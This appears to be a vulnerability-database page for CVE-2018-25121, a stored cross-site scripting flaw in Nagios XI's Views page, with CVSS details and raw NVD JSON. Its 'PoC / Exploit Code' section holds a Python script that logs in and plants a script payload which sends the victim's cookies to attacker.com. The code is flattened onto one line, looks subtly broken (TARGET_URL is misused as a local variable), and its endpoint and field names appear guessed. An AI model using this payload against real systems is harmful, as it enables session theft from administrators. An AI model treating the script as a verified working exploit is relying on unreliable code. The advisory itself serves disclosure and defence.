Security Vulnerability Report
中文
CVE-2018-25121 CVSS 5.4 MEDIUM

CVE-2018-25121

Published: 2025-10-30 22:15:38
Last Modified: 2025-11-05 18:26:58

Description

Nagios XI versions prior to 5.4.13 are vulnerable to cross-site scripting (XSS) via the Views page of the web interface. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE
Nagios XI < 5.4.13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2018-25121 PoC - Nagios XI Views XSS # Target: Nagios XI < 5.4.13 TARGET_URL = "http://target-nagios-xi.local" USERNAME = "attacker" PASSWORD = "password" def login(): """Authenticate to Nagios XI and get session cookie""" session = requests.Session() login_url = f"{TARGET_URL}/nagiosxi/login.php" login_data = { 'username': USERNAME, 'password': PASSWORD } response = session.post(login_url, data=login_data, timeout=10) if 'nagiosxi' in response.cookies and response.status_code == 200: print(f"[+] Login successful") return session else: print(f"[-] Login failed") return None def inject_xss(session): """Inject malicious JavaScript via Views page""" views_url = f"{TARGET_URL}/nagiosxi/views/viewconfig.php" # XSS payload - steal cookies xss_payload = "<script>fetch('https://attacker.com/log?c='+document.cookie)</script>" view_data = { 'view_name': xss_payload, 'action': 'save' } response = session.post(views_url, data=view_data, timeout=10) if response.status_code == 200: print(f"[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") return True else: print(f"[-] Injection failed") return False def main(): if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] CVE-2018-25121 PoC - Nagios XI XSS via Views") print(f"[*] Target: {TARGET_URL}") session = login() if session: inject_xss(session) print(f"[+] Wait for admin to visit the Views page to trigger XSS") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2018-25121", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:37.687", "lastModified": "2025-11-05T18:26:57.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to 5.4.13 are vulnerable to cross-site scripting (XSS) via the Views page of the web interface. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.4.13", "matchCriteriaId": "511F3C01-8C7D-4E13-8FB3-DFA06F036663"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-xss-via-views-page", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}